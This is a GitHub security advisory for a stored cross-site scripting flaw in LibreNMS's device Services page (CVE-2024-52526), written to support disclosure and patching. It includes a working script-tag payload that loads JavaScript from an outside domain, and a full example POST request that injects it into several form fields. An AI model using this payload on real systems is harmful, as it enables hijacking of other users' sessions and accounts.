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LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php

High severity GitHub Reviewed Published Nov 15, 2024 in librenms/librenms • Updated Nov 15, 2024

Package

composer librenms/librenms (Composer)

Affected versions

<= 24.9.1

Patched versions

24.10.0

Description

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.

Details

When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service").

The payload used to exploit this vulnerability is:
Descr'"><script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause is the application's failure to sanitize the "descr" parameter before outputting it in the HTML. The sink is as follows:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/services.inc.php#L87

PoC

  1. Create a service for a device using the following payload in the "descr" parameter:
    Descr'"><script/src=//15.rs></script>
  2. Save the service.
  3. Navigate to the "Services" tab of the device.
  4. Observe that the injected script executes in the "Services" tab.

Example Request:

POST /device/15/edit/section=services HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>&params=Params'"><script/src=//15.rs></script>&Submit=

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" tab of the device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.

References

@murrant murrant published to librenms/librenms Nov 15, 2024
Published by the National Vulnerability Database Nov 15, 2024
Published to the GitHub Advisory Database Nov 15, 2024
Reviewed Nov 15, 2024
Last updated Nov 15, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-52526

GHSA ID

GHSA-8fh4-942r-jf2g

Source code

Credits

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